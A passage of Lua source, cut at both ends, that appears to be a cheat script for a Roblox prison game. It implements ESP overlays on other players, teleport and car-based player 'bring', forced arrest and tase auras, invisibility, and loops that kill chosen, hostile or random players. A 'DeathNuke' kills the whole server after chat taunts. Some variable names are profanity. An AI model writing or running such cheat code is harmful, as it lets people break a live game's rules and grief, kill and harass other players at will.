local Predict = (VRoot.CFrame - (Vector3.new(0, 0, -0.1) *
step1)) + (Movement * (step1 * 28))
if Predict.Position.Y > 1 then
if CarSpin then
SpinRad += 30
Car:SetPrimaryPartCFrame(Predict * CFrame.Angles(0,
math.rad(SpinRad), 0))
else
Car:SetPrimaryPartCFrame(Predict)
end
else
Car:SetPrimaryPartCFrame(LastPos)
end
if BringFrom.TeamColor == BrickColor.new("Medium stone grey")
then
break
end
until not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChildOfClass("Humanoid") or not BringFrom.Character
or not LHuman.Sit or VChar ~= BringFrom.Character or VHuman.Sit or VHuman.Health ==
0 or tick() - Timeout >= 0
Timeout = nil
if VHuman and not VHuman.Sit then
Notif("Error", "Failed to bring!")
LAction("unsit", true)
LocTP(LastPos)
States.IsBringing = false
return
end
if isCFrame then
Car.PrimaryPart = Car:FindFirstChild("RWD")
Car:SetPrimaryPartCFrame(Destination)
else
Car.PrimaryPart = Car:FindFirstChild("RWD")
local Destiny = Destination ~= LocalPlayer and
Destination.Character:FindFirstChild("HumanoidRootPart").CFrame or LastPos
Car:SetPrimaryPartCFrame(Destiny)
if Destination ~= LocalPlayer and (donotusecar or not
Settings.User.AutoDumpCar) then
wait(0.2)
LAction("unsit", true)
LocTP(LastPos)
end
end
SavedArgs.BringSuccess = true
if Settings.User.AutoDumpCar and not donotusecar and not
dontbreakyet then
local Tinedout = tick() + 15
repeat
task.wait()
until VHuman.Health == 0 or not VHuman.Sit or tick() - Tinedout
>= 0 or not Players:FindFirstChild(BringFrom and BringFrom.Name or "nil")
Tinedout = nil
if not
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LastPos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
repeat
task.wait()
Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
until
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit
end
Car.PrimaryPart = Car:FindFirstChild("RWD")
Car:SetPrimaryPartCFrame(CFrame.new(0, 9, 0))
wait(0.2)
LAction("unsit", true)
LocTP(LastPos)
end
States.IsBringing = false
end
else
if isCFrame then
LocTP(Destination)
else
LocTP(Destination.Character:FindFirstChild("HumanoidRootPart").CFrame)
end
end
end
end
--Arrest/Tase
local ArrestPL = function(args, savepos, isHidden)
SavedPositions.ArrestPlr =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local Timedout, readytoar = tick() + 6, tick() + CPing()
LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame)
repeat
task.wait()
local potangina = args.Character and
args.Character:FindFirstChild("Humanoid").Health == 0
local gago = args.TeamColor == BrickColor.new("Bright blue") or
args.TeamColor == BrickColor.new("Medium stone grey")
local hayop = args.TeamColor ~= BrickColor.new("Really red") and not
GetIllegalReg(args)
if potangina or gago or hayop then
break
end
if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Humanoid").Sit then
LAction("unsit")
end
if isHidden or Settings.User.HiddenArrest then
LocTP(args.Character:FindFirstChild("Head").CFrame * CFrame.new(0, -12,
-1))
else
LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame *
CFrame.new(0, 0, -1))
end
if tick() - readytoar >= 0 then
task.spawn(ArrestEve, args)
end
until args.Character:FindFirstChild("Head"):FindFirstChild("handcuffedGui") or
tick() - Timedout >= 0
Timedout = nil
if savepos then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit", true)
end
LocTP(SavedPositions.ArrestPlr)
end
end
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false
LocTP(plr.Character.HumanoidRootPart.CFrame)
readytoarrest = true
elseif plr.Character and
plr.Character:FindFirstChildOfClass("Humanoid") and
plr.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
readytoarrest = false
repeat
task.wait()
until plr.Character and
plr.Character:FindFirstChild("HumanoidRootPart") and not (plr.TeamColor ==
BrickColor.new("Medium stone grey"))
coroutine.wrap(function()
MakeCrim(plr, false, false, false)
end)()
local timeout = tick() + 5
local characterwasadded = nil
task.spawn(function()
plr.CharacterAdded:Wait()
characterwasadded = true
end)
repeat
task.wait()
if not Players:FindFirstChild(plr.Name) then
break
end
if plr.TeamColor == BrickColor.new("Medium stone
grey") then
LAction("unsit", true)
repeat
task.wait()
until not (plr.TeamColor ==
BrickColor.new("Medium stone grey"))
break
end
if characterwasadded then
LAction("unsit", true)
break
end
if plr.TeamColor == BrickColor.new("Really red") or
(GetIllegalReg(plr) and plr.TeamColor == BrickColor.new("Bright orange")) then
break
end
until tick() - timeout >= 0
timeout = nil
characterwasadded = nil
end
else
readytoarrest = false
end
end)
end
end)
end
end
--Threads/Tasks
Threads = {
ExtraSensory = function()
if not Toggles.ESP then
return
end
task.spawn(function()
while Toggles.ESP do
task.wait()
for i, v in pairs(Players:GetPlayers()) do
local LPos = LocalPlayer.Character and
LocalPlayer.Character.PrimaryPart
local VHead, VRoot, VHuman = v.Character and
v.Character:FindFirstChild("Head"), v.Character and
v.Character:FindFirstChild("HumanoidRootPart"), v.Character and
v.Character:FindFirstChildOfClass("Humanoid")
if v ~= LocalPlayer and VHead and VRoot and VHuman and LPos
then
if VHead:FindFirstChild("ESP") then
local NameESP =
VHead:FindFirstChild("ESP"):FindFirstChild("NameESP")
VRoot:FindFirstChild("RootESP").Color3 =
v.TeamColor.Color
if v.Name == v.DisplayName then
NameESP.Text = v.Name .. " | Health: " ..
math.floor(VHuman.Health) .. " | Magnitude: " .. math.floor((LPos.Position -
VRoot.Position).Magnitude)
else
NameESP.Text = v.Name .. " [" .. v.DisplayName ..
"] | Health: " .. math.floor(VHuman.Health) .. " | Magnitude: " ..
math.floor((LPos.Position - VRoot.Position).Magnitude)
end
NameESP.TextColor3 = v.TeamColor.Color
else
local NameESP, Label, RootESP =
Instance.new("BillboardGui"), Instance.new("TextLabel"),
Instance.new("BoxHandleAdornment")
NameESP.Adornee = v.Character.Head
NameESP.Name = "ESP"
NameESP.Parent = v.Character.Head
NameESP.Size = UDim2.new(0, 100, 0, 135)
NameESP.StudsOffset = Vector3.new(0, 0, 0)
NameESP.AlwaysOnTop = true
Label.Parent = NameESP
Label.Name = "NameESP"
Label.BackgroundTransparency = 1
Label.Position = UDim2.new(0, 0, 0, -50)
Label.Size = UDim2.new(0, 100, 0, 100)
Label.Font = Enum.Font.SourceSansSemibold
Label.TextSize = 18
Label.TextColor3 = v.TeamColor.Color
Label.TextStrokeTransparency = 0
Label.TextYAlignment = Enum.TextYAlignment.Bottom
Label.Text = v.Name
Label.ZIndex = 10
RootESP.Name = "RootESP"
RootESP.Parent = VRoot
RootESP.Adornee = VRoot
RootESP.AlwaysOnTop = true
RootESP.ZIndex = 10
RootESP.Size = VRoot.Size
RootESP.Transparency = 0.4
RootESP.Color3 = v.TeamColor.Color
end
end
end
Hbeat:Wait()
end
for i, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character then
local lroot, lhead =
v.Character:FindFirstChild("HumanoidRootPart"), v.Character:FindFirstChild("Head")
if lroot and lroot:FindFirstChild("RootESP") then
lroot:FindFirstChild("RootESP"):Destroy()
end
if lhead and lhead:FindFirstChild("ESP") then
lhead:FindFirstChild("ESP"):Destroy()
end
end
end
end)
end,
ArrestBack = function()
if not Toggles.ArrestBack then
return
end
task.spawn(function()
while Toggles.ArrestBack do
task.wait()
pcall(function()
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v ~= LocalPlayer and v.Character and
v.Character:FindFirstChild("Handcuffs") then
local vhead, lhead =
v.Character:FindFirstChild("Head"), LocalPlayer.Character:FindFirstChild("Head")
if vhead and lhead and
v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 then
if (vhead.Position - lhead.Position).Magnitude <=
18 then
MakeCrim(v, true, false, true)
end
end
end
end
end)
end
end)
end,
AntiPay2Win = function()
if not Toggles.AntiShield then
return
end
task.spawn(function()
while Toggles.AntiShield do
task.wait()
for _, pay2winusers in pairs(Players:GetPlayers()) do
if pay2winusers ~= LocalPlayer and pay2winusers.Character and
pay2winusers.Character:FindFirstChild("Torso") then
local folder =
pay2winusers.Character.Torso:FindFirstChild("ShieldFolder")
local shield = folder and folder:FindFirstChild("shield")
if shield then
shield.Size = Vector3.new(0, 0, 0)
end
end
end
end
for _, pay2winusers in pairs(Players:GetPlayers()) do
if pay2winusers ~= LocalPlayer and pay2winusers.Character and
pay2winusers.Character:FindFirstChild("Torso") then
local folder =
pay2winusers.Character.Torso:FindFirstChild("ShieldFolder")
local shield = folder and folder:FindFirstChild("shield")
if shield then
shield.Size = Vector3.new(2.6, 4.2, 0.4)
end
end
end
end)
end,
AntiFling = function()
if not States.AntiFling then
return
end
task.spawn(function()
local temp = PhysicalProperties.new(0.01, 0, 0)
local tempfunc = function(arg)
for _, vv in pairs(arg.Character:GetChildren()) do
if vv:IsA("BasePart") or vv:IsA("Part") then
vv.CanCollide = false
if vv.CustomPhysicalProperties ~= temp then
vv.CustomPhysicalProperties = temp
end
end
if vv:IsA("MeshPart") then
vv.CanCollide = false
end
if vv:IsA("Accessory") then
local handle = vv:FindFirstChildWhichIsA("Part") or
vv:FindFirstChildWhichIsA("MeshPart") or vv:FindFirstChildWhichIsA("WedgePart")
if handle and handle.CanCollide then
handle.CanCollide = false
end
end
end
end
while States.AntiFling do
Stepped:Wait()
for _, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character then
tempfunc(v)
end
end
end
tempfunc = nil
temp = nil
end)
end,
AntiVelocity = function()
if not States.AntiVelocity then
return
end
task.spawn(function()
local parts, cus = {}, PhysicalProperties.new(0, 0, 0)
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("Part") and not
v:IsDescendantOf(LocalPlayer.Character) then
parts[#parts + 1] = v
end
if v:IsA("MeshPart") or v:IsA("WedgePart") and not
v:IsDescendantOf(LocalPlayer.Character) then
parts[#parts + 1] = v
end
end
coroutine.wrap(function()
while States.AntiVelocity do
wait(0.1)
parts = {}
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("Part") and not
v:IsDescendantOf(LocalPlayer.Character) then
parts[#parts + 1] = v
end
if v:IsA("MeshPart") or v:IsA("WedgePart") and not
v:IsDescendantOf(LocalPlayer.Character) then
parts[#parts + 1] = v
end
end
local des = workspace:FindFirstChild(LocalPlayer.Name)
if des.PrimaryPart and
des.PrimaryPart.AssemblyLinearVelocity.Magnitude > 50 then
Stepped:Wait()
des.PrimaryPart.Velocity = Vector3.new(0, 0, 0)
des.PrimaryPart.RotVelocity = Vector3.new(0, 0, 0)
LocTP(SavedPositions.AntiFling)
deprint("Debug_Player was flinged")
elseif des.PrimaryPart and
des.PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 then
SavedPositions.AntiFling = des.PrimaryPart.CFrame
end
end
parts = nil
cus = nil
end)()
while States.AntiVelocity do
Stepped:Wait()
if next(parts) then
for _, v in next, parts do
if v:IsA("BasePart") or v:IsA("Part") then
v.Velocity = Vector3.new(0, 0, 0)
v.RotVelocity = Vector3.new(0, 0, 0)
v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v.CustomPhysicalProperties = cus
end
if v:IsA("MeshPart") or v:IsA("WedgePart") then
v.CanCollide = false
v.Velocity = Vector3.new(0, 0, 0)
v.RotVelocity = Vector3.new(0, 0, 0)
v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
end
end
end
end
end)
end,
ForceField = function()
if not States.ForceField then
return
end
task.spawn(function()
while States.ForceField do
task.wait()
local plc = LocalPlayer.Character
if plc then
plc = LocalPlayer.Character
local plr = plc and plc:FindFirstChild("HumanoidRootPart")
if plr then
task.delay(CPing(nil, true), function()
SavedPositions.AutoRe = plr.CFrame
SaveCamPos()
end)
if #Teams.Guards:GetPlayers() > 7 then
TeamEve("Bright orange")
end
TeamEve("Bright blue")
task.spawn(function()
local isholding = plc:FindFirstChildWhichIsA("Tool")
and plc:FindFirstChildWhichIsA("Tool").Name
LocalPlayer.CharacterAdded:Wait()
if States.ForceField then
if not Toggles.AutoRespawn then
waitfor(LocalPlayer.Character,
"HumanoidRootPart", 1).CFrame = SavedPositions.AutoRe
end
LoadCamPos()
if isholding and wait() then
local hastool =
LocalPlayer.Backpack:FindFirstChild(isholding)
if hastool then
LAction("equip", hastool)
else
ItemHand(false, isholding)
ItemHand(false, isholding)
ItemHand(false, isholding)
local toequip =
LocalPlayer.Backpack:FindFirstChild(isholding)
if toequip then
LAction("equip", toequip)
end
end
end
end
end)
local o = CPing() / 2
task.wait(5 - o)
end
end
end
end)
end,
ArrestAura = function()
if not Toggles.ArrestAura then
return
end
task.spawn(function()
while Toggles.ArrestAura do
task.wait()
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and v.TeamColor.Name ~=
"Bright blue" then
local VHead, LHead = v.Character:FindFirstChild("Head"),
LocalPlayer.Character:FindFirstChild("Head")
if VHead and LHead and CheckWhitelist(v) then
if (VHead.Position - LHead.Position).Magnitude <= 25
then
if v.TeamColor == BrickColor.new("Really red") or
GetIllegalReg(v) then
task.spawn(ArrestEve, v)
wait()
end
end
end
end
end
end
end)
end,
ClickTeleport = function()
if not States.ClickTeleport then
return
end
task.spawn(function()
while States.ClickTeleport do
task.wait()
if States.ClickTeleport then
SpawnClientStuff("clicktp")
else
break
end
LocalPlayer.CharacterAdded:Wait()
wait(0.1)
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
task.wait(1)
end
end
end)
end,
Fullbright = function()
if not States.Fullbright then
return
end
task.spawn(function()
pcall(function()
LocalPlayer.PlayerGui.Home.fadeFrame.Visible = false
end)
local Lighting = game:GetService("Lighting")
local temp = {
Brightness = Lighting.Brightness,
FogEnd = Lighting.FogEnd,
GlobalShadows = Lighting.GlobalShadows,
OutdoorAmbient = Lighting.OutdoorAmbient,
}
while States.Fullbright do
task.wait()
Lighting.Brightness = 5
Lighting.FogEnd = 100000
Lighting.GlobalShadows = false
Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128)
end
Lighting.Brightness = temp.Brightness
Lighting.FogEnd = temp.FogEnd
Lighting.GlobalShadows = temp.GlobalShadows
Lighting.OutdoorAmbient = temp.OutdoorAmbient
end)
end,
Invisibility = function()
if not States.Invisible then
return
end
task.spawn(function()
AllGuns()
local Character, FakeCharacter = LocalPlayer.Character, nil
while States.Invisible do
task.wait()
local root = waitfor(LocalPlayer.Character, "HumanoidRootPart", 5)
if root and States.Invisible then
local lastpos = root.CFrame
Character.Archivable = true
FakeCharacter = Character:Clone()
FakeCharacter.Parent = game.Lighting
FakeCharacter.Name = "FakeCharacter"
FakeCharacter:FindFirstChildOfClass("Humanoid").DisplayName =
"[INVISIBLE]"
SaveCamPos()
root.CFrame = CFrame.new(9e9, 9e9, 9e9)
SavedPositions.AutoRe = lastpos
wait(0.4)
game:GetService("Workspace").CurrentCamera.CameraType =
Enum.CameraType.Scriptable
Hbeat:Wait()
Rstep:Wait()
game:GetService("Workspace").CurrentCamera.CameraType =
Enum.CameraType.Custom
FakeCharacter = FakeCharacter
Character.Parent = game.Lighting
FakeCharacter.Parent = game:GetService("Workspace")
FakeCharacter:FindFirstChild("HumanoidRootPart").CFrame =
lastpos
LocalPlayer.Character = FakeCharacter
Rstep:Wait()
workspace.CurrentCamera.CameraSubject =
FakeCharacter:FindFirstChildOfClass("Humanoid")
workspace.CurrentCamera.CameraType = "Custom"
LoadCamPos()
LocalPlayer.Character.Animate.Disabled = true
LocalPlayer.Character.Animate.Disabled = false
LocalPlayer.CharacterAdded:Wait()
waitfor(LocalPlayer.Character, "HumanoidRootPart")
Character:Destroy()
Character = nil
FakeCharacter:Destroy()
FakeCharacter = nil
root = nil
lastpos = nil
AllGuns()
AllGuns()
AllGuns()
if States.Invisible then
Character = LocalPlayer.Character
else
break
end
end
end
Character = nil
FakeCharacter = nil
end)
end,
ShootKillPlayers = function()
if Saved.Thread.ShootKillPlayers then
return
end
Saved.Thread.ShootKillPlayers = true
task.spawn(function()
while task.wait() do
if next(Loops.ShootKill) then
pcall(function()
for i, v in next, Loops.ShootKill do
if v and v.Character and
v.Character:FindFirstChildOfClass("Humanoid") and
v.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local tool =
LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
if tool and
tool:FindFirstChildOfClass("ModuleScript") and tool.Name ~= "Taser" then
ShootKill(v, nil, tool.Name)
else
ShootKill(v)
end
end
end
end)
else
break
end
end
Saved.Thread.ShootKillPlayers = nil
end)
end,
RandomKillPlayers = function()
if Saved.Thread.RandomKillPlayers then
return
end
Saved.Thread.RandomKillPlayers = true
task.spawn(function()
while wait(1) do
if next(Loops.RandomKill) then
pcall(function()
for i, v in next, Loops.RandomKill do
if v and v.Character and v ~= LocalPlayer then
local meth = math.random(1, 15)
if meth == 6 then
KillPL(v)
task.wait(0.35)
end
end
end
end)
else
break
end
end
Saved.Thread.RandomKillPlayers = nil
end)
end,
LoopTasePlayers = function()
if Saved.Thread.LoopTasePlayers then
return
end
Saved.Thread.LoopTasePlayers = true
task.spawn(function()
while wait(0.7) do
pcall(function()
if Loops.TaseTeams.All then
if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue")
and #Teams.Guards:GetPlayers() < 8 then
TeamTo("guard")
end
if LocalPlayer.TeamColor.Name == "Bright blue" then
TasePL(Players, "teams")
end
else
local temp = {}
if Loops.TaseTeams.Inmates then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and CheckWhitelist(v) and v ~=
LocalPlayer and v.Character:FindFirstChild("Humanoid").Health ~= 0 then
temp[#temp + 1] = v
end
end
end
if Loops.TaseTeams.Criminals then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and CheckWhitelist(v) and v ~=
LocalPlayer and v.Character:FindFirstChild("Humanoid").Health ~= 0 then
temp[#temp + 1] = v
end
end
end
if next(Loops.Tase) then
for i, v in next, Loops.Tase do
if v.Character and v ~= LocalPlayer and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or v.TeamColor ==
BrickColor.new("Bright blue")) then
temp[#temp + 1] = v
end
end
end
if next(Powers.Taseauras) then
for i, v in next, Powers.Taseauras do
if v.Character and
v.Character:FindFirstChild("Head") then
for _, vv in pairs(Players:GetPlayers()) do
if vv.Character and
vv.Character:FindFirstChild("Head") and CheckWhitelist(vv) and not (vv ==
LocalPlayer or vv == v) then
local THead, VHead = v.Character.Head,
vv.Character.Head
if THead and VHead and
CheckWhitelist(vv) and not (vv.Character:FindFirstChildOfClass("Humanoid").Health
== 0 or vv.TeamColor == BrickColor.new("Bright blue")) then
if (THead.Position -
VHead.Position).Magnitude <= 17 then
temp[#temp + 1] = vv
end
end
end
end
end
end
end
if next(temp) then
if LocalPlayer.TeamColor ~= BrickColor.new("Bright
blue") and #Teams.Guards:GetPlayers() < 8 then
TeamTo("guard")
end
if LocalPlayer.TeamColor.Name == "Bright blue" then
TasePL(temp, "tables")
end
end
temp = nil
end
end)
end
end)
end,
DeathNukes = function()
if Saved.Thread.DeathNukes then
return
end
Saved.Thread.DeathNukes = true
task.spawn(function()
while task.wait() do
if next(Powers.DeathNuke) then
for i, v in next, Powers.DeathNuke do
if v.Character and
v.Character:FindFirstChildOfClass("Humanoid") then
if v.Character:FindFirstChildOfClass("Humanoid").Health
== 0 and next(Powers.DeathNuke) then
Chat("WARNING!!! " .. v.DisplayName .. " HAS
LAUNCHED THE DEATHNUKE, EVERYONE WILL DIE IN T MINUS 3 SECOND(S)!!!")
wait(1.69)
Chat("T MINUS 2 SECOND(S)")
wait(1.69)
Chat("T MINUS 1 SECOND(S)")
wait(1.69)
Chat("**NUKE ULTRA HD SOUND EFFECT**")
pcall(function()
MultiKill(Players, v)
end)
RTPing(0.1)
wait(5)
end
end
end
else
break
end
end
Saved.Thread.DeathNukes = nil
end)
end,
AutoGuns = function()
if not Toggles.AutoGuns then
return
end
Toggles.AutoItems = false
task.spawn(function()
while Toggles.AutoGuns do
task.wait()
pcall(AllGuns)
if Settings.User.OldItemMethod then
LocalPlayer.CharacterAdded:Wait()
wait(1)
end
end
end)
end,
AutoItems = function()
if not Toggles.AutoItems then
return
end
Toggles.AutoGuns = false
task.spawn(function()
while Toggles.AutoItems do
task.wait()
task.spawn(AllItems)
LocalPlayer.CharacterAdded:Wait()
if waitfor(LocalPlayer.Character, "HumanoidRootPart", 1) and
Settings.User.OldItemMethod and LocalPlayer.TeamColor == BrickColor.new("Bright
blue") then
RTPing(1)
end
end
end)
end,
HideTeamGui = function()
task.spawn(function()
task.delay(0.05, function()
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
end)
for i = 1, 10 do
pcall(function()
LocalPlayer.PlayerGui:FindFirstChild("Home"):FindFirstChild("intro").Visible =
false
LocalPlayer.PlayerGui:FindFirstChild("Home"):FindFirstChild("hud").Visible = true
game:GetService("Workspace").CurrentCamera.FieldOfView = 70
game:GetService("Workspace").CurrentCamera.CameraType =
Enum.CameraType.Custom
game:GetService("Workspace").CurrentCamera.CameraSubject =
LocalPlayer.Character:FindFirstChild("Humanoid")
end)
task.wait()
end
end)
end,
}
Tasks = {
AutoKill = function(args)
if args == "hostile" then
if not States.KillHostile then
States.KillHostile = true
task.spawn(function()
while States.KillHostile do
task.wait()
pcall(function()
local hostiles = {}
for i, v in pairs(Players:GetPlayers()) do
if v.Character and CheckWhitelist(v) and v ~=
LocalPlayer then
if
v.Character:FindFirstChildOfClass("Humanoid") and
v.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local itemholding =
v.Character:FindFirstChildWhichIsA("Tool")
if itemholding then
local ch = v.Character
if ch:FindFirstChild("AK-47") or
ch:FindFirstChild("Remington 870") or ch:FindFirstChild("M9") or
ch:FindFirstChild("M4A1") or ch:FindFirstChild("Crude Knife") or
ch:FindFirstChild("Hammer") then
hostiles[#hostiles + 1] = v
end
else
local track =
v.Character:FindFirstChildOfClass("Humanoid")
for _, hostileanim in
ipairs(track:GetPlayingAnimationTracks()) do
if
table.find(Saved.HostileAnimations, hostileanim.Animation.AnimationId) then
hostiles[#hostiles + 1] = v
break
end
end
track = nil
end
itemholding = nil
end
end
end
if next(hostiles) then
TableKill(hostiles)
task.wait(0.3)
end
hostiles = nil
end)
end
end)
else
Notif("Error", "Already killing hostiles.")
end
elseif args == "shielduser" then
if not States.KillShielduser then
States.KillShielduser = true
task.spawn(function()
while States.KillShielduser do
task.wait()
pcall(function()
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer then
if v.Character:FindFirstChild("Torso") and
CheckWhitelist(v) then
if
v.Character.Torso:FindFirstChild("ShieldFolder") then
KillPL(v, nil, nil, true)
end
end
end
end
end)
end
end)
else
Notif("Error", "Already killing shieldusers.")
end
elseif args == "handcuffer" then
if not States.KillHandcuffer then
States.KillHandcuffer = true
task.spawn(function()
while States.KillHandcuffer do
task.wait()
pcall(function()
local annoyingbrats = {}
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer then
if v.Character:FindFirstChild("Handcuffs") and
CheckWhitelist(v) then
annoyingbrats[#annoyingbrats + 1] = v
end
end
end
if next(annoyingbrats) then
TableKill(annoyingbrats)
task.wait(0.07)
end
annoyingbrats = nil
end)
end
end)
else
Notif("Error", "Already killing handcuff users")
end
elseif args == "taser" then
if not States.KillTaser then
States.KillTaser = true
task.spawn(function()
while States.KillTaser do
task.wait()
pcall(function()
for i, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and CheckWhitelist(v) and
v.Character and v.Character:FindFirstChild("Taser") then
KillPL(v)
end
end
RTPing()
end)
end
end)
else
Notif("Error", "Already killing tasers.")
end
end
end,
AntiCheat = function()
if States.AntiCheat then
task.spawn(function()
local laspos, lasteam = {}, {}
local CheaterDetected, died = {}, {}
local SavedChar, wasneutral = {}, {}
local dcolor = Color3.fromRGB(255, 255, 255)
coroutine.wrap(function()
while States.AntiCheat do
task.wait()
pcall(function()
for _, v in next, Players:GetPlayers() do
if v and v.Character and v ~= LocalPlayer then
local char = v.Character
local head = char and
char:FindFirstChild("Head")
local human = char and
char:FindFirstChildOfClass("Humanoid")
if head and human and not human.Sit then
local haynako = head.Position
local gago = Vector3.new(0, -0.04, 0)
local hayop = RaycastParams.new()
hayop.FilterType =
Enum.RaycastFilterType.Exclude
hayop.FilterDescendantsInstances = { char,
workspace.CarContainer }
local tangina = workspace:Raycast(haynako,
gago, hayop)
if tangina then
local part = tangina.Instance
if part and part.CanCollide and not
part:IsDescendantOf(workspace.Terrain) and not
(part:IsDescendantOf(workspace.CarContainer) or Players:FindFirstChild(part.Name)
or Players:FindFirstChild(part.Parent.Name)) then
if human.Health ~= 0 and
human:GetState() ~= Enum.HumanoidStateType.Jumping and not human.Sit and not
CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]:
Noclip detected (69% accurate) Player: " .. v.Name .. " [" .. v.DisplayName .. "]",
dcolor)
end
end
end
end
end
end
end)
Hbeat:Wait()
end
end)()
while States.AntiCheat do
task.wait()
pcall(function()
for i, v in next, Players:GetPlayers() do
if v and v.Character and v ~= LocalPlayer and
v.TeamColor ~= BrickColor.new("Medium stone grey") and not wasneutral[v.Name] then
local vhead = v.Character:FindFirstChild("Head")
local root =
v.Character:FindFirstChild("HumanoidRootPart")
local human =
v.Character:FindFirstChildOfClass("Humanoid")
if lasteam[v.Name] then
if lasteam[v.Name] ~= v.TeamColor then
if v.TeamColor == BrickColor.new("Really
red") and not GetIllegalReg(v) then
if not CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]:
Criminal team change (Kill all) Detected! (99.69% accurate) Player: " .. v.Name ..
" [" .. v.DisplayName .. "]", dcolor)
end
end
lasteam[v.Name] = v.TeamColor
end
end
if human and human:GetState() ==
Enum.HumanoidStateType.PlatformStanding then
if not CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]: Fly
detected! (PlatformStanding) (100% accurate) Player: " .. v.Name .. " [" ..
v.DisplayName .. "]", dcolor)
end
end
if human and human:GetState() ==
Enum.HumanoidStateType.Swimming then
if not CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]: Fly
detected! (FakeSwim) (100% accurate) Player: " .. v.Name .. " [" ..
v.DisplayName .. "]", dcolor)
end
end
if human then
if human.Health == 0 then
died[v.Name] = true
laspos[v.Name] = root.CFrame
end
end
if root and laspos[v.Name] and SavedChar[v.Name] ==
v.Character and not died[v.Name] then
if (root.Position -
laspos[v.Name].Position).Magnitude > 30 and not (root.AssemblyLinearVelocity.X > 15
or root.AssemblyLinearVelocity.Z > 15) and not human.Sit and not
v.Character:FindFirstChildWhichIsA("ForceField") then
local ray = Ray.new(root.Position,
(root.Position + Vector3.new(0, -5, 0) - root.Position).Unit * 5)
local part =
workspace:FindPartOnRayWithIgnoreList(ray, { v.Character, workspace.Terrain })
if human:GetState() ~=
Enum.HumanoidStateType.Jumping and part and not
part:IsDescendantOf(workspace.CarContainer) then
if not human.Sit and not
v.Character:FindFirstChildWhichIsA("ForceField") and not CheaterDetected[v.Name]
then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]:
Teleport detected! (42.69% accurate) Player: " .. v.Name .. " [" ..
v.DisplayName .. "]", dcolor)
end
end
end
end
if root and laspos[v.Name] and not died[v.Name]
then
if root.AssemblyLinearVelocity.X > 50 or
root.AssemblyLinearVelocity.Z > 50 and root.AssemblyLinearVelocity.Y > -16 and not
(root.AssemblyLinearVelocity.X > 1e7 or root.AssemblyLinearVelocity.Z > 1e7 or
root.AssemblyLinearVelocity.Y > 1) and not human.Sit then
local ray = Ray.new(root.Position,
(root.Position + Vector3.new(0, -5, 0) - root.Position).Unit * 5)
local part =
workspace:FindPartOnRayWithIgnoreList(ray, { v.Character, workspace.Terrain })
if human:GetState() ~=
Enum.HumanoidStateType.Jumping and part and not
part:IsDescendantOf(workspace.CarContainer) then
if not human.Sit and not
CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]:
Speed detected! (50% accurate) Player: " .. v.Name .. " [" .. v.DisplayName .. "]",
dcolor)
end
end
end
end
if root then
if root.AssemblyLinearVelocity.X > 1e7 or
root.AssemblyLinearVelocity.Z > 1e7 or root.AssemblyLinearVelocity.Y > 1e7 or
root.AssemblyAngularVelocity.X > 699 or root.AssemblyAngularVelocity.Y > 699 or
root.AssemblyAngularVelocity.Z > 699 then
if not CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]: Fling
detected! (Cannot determine culprit and victim) (69% accurate) Player: " ..
v.Name .. " [" .. v.DisplayName .. "]", dcolor)
end
end
end
if vhead then
if vhead.Position.Y > 1000 or vhead.Position.X
> 49999 then
if not (root.AssemblyLinearVelocity.X > 50
or root.AssemblyLinearVelocity.Y > 50 or root.AssemblyLinearVelocity.Z > 50) and
not CheaterDetected[v.Name] then
CheaterDetected[v.Name] = v
SysMessage("[Cheat Detection]:
Invisible detected! (99.99% accurate) Player: " .. v.Name .. " [" ..
v.DisplayName .. "]", dcolor)
end
end
end
if laspos[v.Name] and SavedChar[v.Name] and
SavedChar[v.Name] ~= v.Character then
SavedChar[v.Name] = nil
SavedChar[v.Name] = v.Character
end
if died[v.Name] and laspos[v.Name] then
if human.Health ~= 0 and
v.Character:FindFirstChildWhichIsA("ForceField") then
